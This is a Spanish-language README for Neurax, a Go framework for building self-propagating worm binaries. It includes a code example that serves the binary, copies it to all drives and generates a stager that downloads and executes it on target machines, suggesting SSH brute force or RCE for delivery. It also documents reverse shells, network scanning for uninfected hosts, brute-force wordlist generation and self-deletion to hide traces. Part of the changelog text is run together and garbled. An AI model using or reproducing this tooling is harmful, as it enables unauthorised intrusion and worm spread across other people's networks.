
Un framework para construir binarios autopropagantes
Un framework que ayuda en la creación de software de autopropagación
Con la ayuda de Neurax, los binarios Golang pueden propagarse en LAN/WAN sin usar servidores externos.
Diversas opciones de configuración y stagers de comandos permiten una propagación rápida en diversos entornos inalámbricos.
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Specify serving port and stager to use
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}
unlinkat(2)N.StagerBg)N.NoInfectCheck para deshabilitar la verificación de si el host ya está infectadoNeuraxServer()httrack para LinuxN.StagerRemovalDelay).FastScan que hace que los escaneos activos sean un poco más rápidosNeuraxScan() acepta una función de callback en lugar de un canal como argumentoNeuraxScan() escanea en bucle infinito con posibilidad de establecer un intervalo entre cada escaneo de toda la subred/grupo de objetivosNeuraxConfig. pasó a ser N. (porque es más corto de escribir)wget + curl).WordlistExpand)La función NeuraxScan(func(string)) permite la detección de hosts activos en la red local.
Su único argumento es una función de callback que se llama en segundo plano para cada host activo.
Un host se considera activo cuando tiene al menos 1 puerto abierto, no está ya infectado y cumple las condiciones especificadas dentro de N.
NeuraxScan() se ejecuta como un bucle infinito: escanea toda la subred especificada por la entrada de configuración .Cidr y, cuando se escanea cada host, la función duerme durante un intervalo dado en .ScanInterval.
El binario de Neurax no tiene que copiarse a sí mismo por medios inalámbricos.
La función NeuraxDisks() copia el binario actual (con un nombre no sospechoso) en todas las unidades lógicas que se encontraron.
El binario copiado no se ejecuta, simplemente reside en su destino esperando ser ejecutado.
NeuraxDisks() devuelve un error si no se puede obtener la lista de discos o si la copia a algún destino fue imposible.
Otra función, NeuraxZIP(num_files int) err permite crear un archivo .zip con nombre aleatorio que contiene el binario actual.
Se guarda en el directorio actual y contiene hasta num_files archivos aleatorios.
NeuraxZIPSelf() simplemente comprime el binario actual, creando un archivo con el mismo nombre.
Se puede establecer un shell inverso interactivo con NeuraxReverse().
Recibirá comandos del hostname especificado dentro de .ReverseListener en la forma "<host>:<port>".
El protocolo utilizado se define en .ReverseProto.
Si NeuraxOpenComm() se inició antes de llamar a esta función, cada comando se comportará como se describe en la sección anterior.
Si no fue así, los comandos se ejecutarán localmente.
Nota: esta función también debe ejecutarse como gorutina para evitar el bloqueo causado por el bucle infinito utilizado para recibir.
Cuando un nodo recibe el comando "purge", reenvía este comando a todos los demás nodos, se elimina a sí mismo del host y sale.
Este comportamiento también se puede iniciar usando NeuraxPurge() ejecutado en alguna parte del código fuente.
Si el vector de propagación que elijas se basa en algún tipo de fuerza bruta, es bueno tener una lista de palabras preparada.
Almacenar palabras en un archivo de texto en el lado del cliente no es realmente efectivo, por lo que puedes mutar una lista básica usando NeuraxWordlist(...words) []string.
Para permutar un conjunto de palabras dadas, usa NeuraxWordlistPermute(..words) []string
Si deseas que tu binario se elimine a sí mismo después de un tiempo dado, usa NeuraxSetTTL() al principio de tu código.
Esta función debe ejecutarse como una gorutina.
Por ejemplo:
go NeuraxSetTTL("2m")
hará que el binario ejecute NeuraxPurgeSelf() después de 2 minutos desde la ejecución inicial.
Si deseas encadenar todos los stagers disponibles para la plataforma dada, establece .Stager en "chain".
Si necesitas copiar el binario después de la ejecución inicial, usa NeuraxMigrate(path string).
Esto copiará el binario en path, eliminará el binario actual y ejecutará el binario recién migrado.
Si te gusta este proyecto y quieres verlo crecer, considera hacer una pequeña donación :>
Este software está bajo la licencia MIT
| Nombre | Descripción | Valor por defecto |
|---|
| Nrx.Config.Stager | Nombre del stager de comandos a usar | aleatorio, compatible con la plataforma |
| Nrx.Config.StagerSudo | Si es verdadero, los stagers de cmd de Linux se ejecutan con privilegios elevados | false |
| Nrx.Config.StagerRetry | Número de veces para re-ejecutar el stager de comandos | 0 |
| Nrx.Config.StagerRemoveDelay | Se aplica una instrucción de sleep antes de eliminar el binario descargado | true |
| Nrx.Config.Port | Puerto en el que servir | 6741 |
| Nrx.Config.Platform | Plataforma a atacar | detectado automáticamente |
| Nrx.Config.Path | La ruta bajo la cual se guarda el binario en el host | . |
| Nrx.Config.FileName | Nombre bajo el cual se servirá y luego se guardará el binario descargado | aleatorio |
| Nrx.Config.Base64 | Codificar el binario transferido en base64 | false |
| Nrx.Config.CommPort | Puerto que utilizan los binarios para comunicarse entre sí | 7777 |
| Nrx.Config.CommProto | Protocolo para la comunicación entre nodos | "udp" |
| Nrx.Config.ReverseListener | Contiene "<host>:<port>" del manejador de shell inverso remoto | no especificado |
| Nrx.Config.ReverseProto | Protocolo a usar para la conexión inversa | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan() trata al host como activo solo si tiene un puerto específico abierto | ninguno |
| Nrx.Config.ScanPassive | NeuraxScan() detecta hosts mediante monitoreo pasivo de tráfico ARP | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan() monitorea la capa ARP esta cantidad de segundos | 50 segundos |
| Nrx.Config.ScanPassiveIface | Interfaz a usar al escanear pasivamente | predeterminada |
| Nrx.Config.ScanActiveTimeout | NeuraxScan() establece este valor como tiempo de espera para el puerto escaneado en cada hilo | 2 segundos |
| Nrx.Config.ScanPassiveAll | NeuraxScan() captura paquetes en todos los dispositivos encontrados | false |
| Nrx.Config.ScanPassiveNoArp | El escaneo pasivo no establece un filtro estricto de captura ARP | false |
| Nrx.Config.ScanFirst | Un slice que contiene direcciones IP a escanear primero | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan() escanea solo los hosts especificados dentro de .ScanFirst | false |
| Nrx.Config.ScanArpCache | NeuraxScan() escanea primero los hosts encontrados en la caché ARP local. Funciona solo con escaneo activo | false |
| Nrx.Config.ScanCidr | NeuraxScan() escanea este CIDR | IP local + "\24" |
| Nrx.Config.ScanActiveThreads | Número de hilos a usar para NeuraxScan() | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan() escanea todos los puertos del host objetivo para determinar si está activo | desde 19 hasta 300 |
| Nrx.Config.ScanInterval | Intervalo de tiempo para dormir antes de escanear toda la subred nuevamente | "2m" |
| Nrx.Config.ScanHostInterval | Intervalo de tiempo para dormir antes de escanear el siguiente host en modo activo | "ninguno" |
| Nrx.Config.ScanGatewayFirst | La puerta de enlace es el primer host escaneado cuando se usa escaneo activo | false |
| Nrx.Config.Verbose | Si es verdadero, todos los mensajes de error se imprimen en STDOUT | false |
| Nrx.Config.Remove | Cuando ocurre algún error, el binario se elimina a sí mismo del host | false |
| Nrx.Config.PreventReexec | Si es verdadero, cuando un comando coincide con los que ya se recibieron antes, no se ejecuta | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist() realiza transformaciones no estándar en las palabras de entrada | false |
| Nrx.Config.WordlistCommon | Anteponer las 20 contraseñas más comunes a la lista de palabras | false |
| Nrx.Config.WordlistCommonNum | Número de contraseñas comunes a usar | todas |
| Nrx.Config.WordlistCommonCountries | Un map[string]int que contiene códigos de país y número de contraseñas a usar | map[string]int |
| Nrx.Config.WordlistMutators | Mutadores a usar cuando se especifica .WordlistExpand | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | Longitud máxima de la permutación generada por NeuraxWordlistPermute() | 2 |
| Nrx.Config.WordlistPermuteSeparator | Un carácter separador a usar para permutaciones | "-" |
| Nrx.Config.WordlistShuffle | Mezclar la lista de palabras generada antes de devolverla | false |
| Nrx.Config.AllocNum | Esta entrada define cuántas veces NeuraxAlloc() asigna memoria aleatoria | 5 |
| Nrx.Config.Blacklist | Slice que contiene direcciones IP que se excluyen de cualquier tipo de escaneo | []string{} |
| Nrx.Config.FastHTTP | La solicitud HTTP en IsHostInfected() se realiza utilizando la biblioteca fasthttp | false |
| Nrx.Config.Debug | Habilitar mensajes de depuración | false |
| Nrx.Config.NoInfectCheck | Deshabilitar la verificación de si el host ya está infectado | true |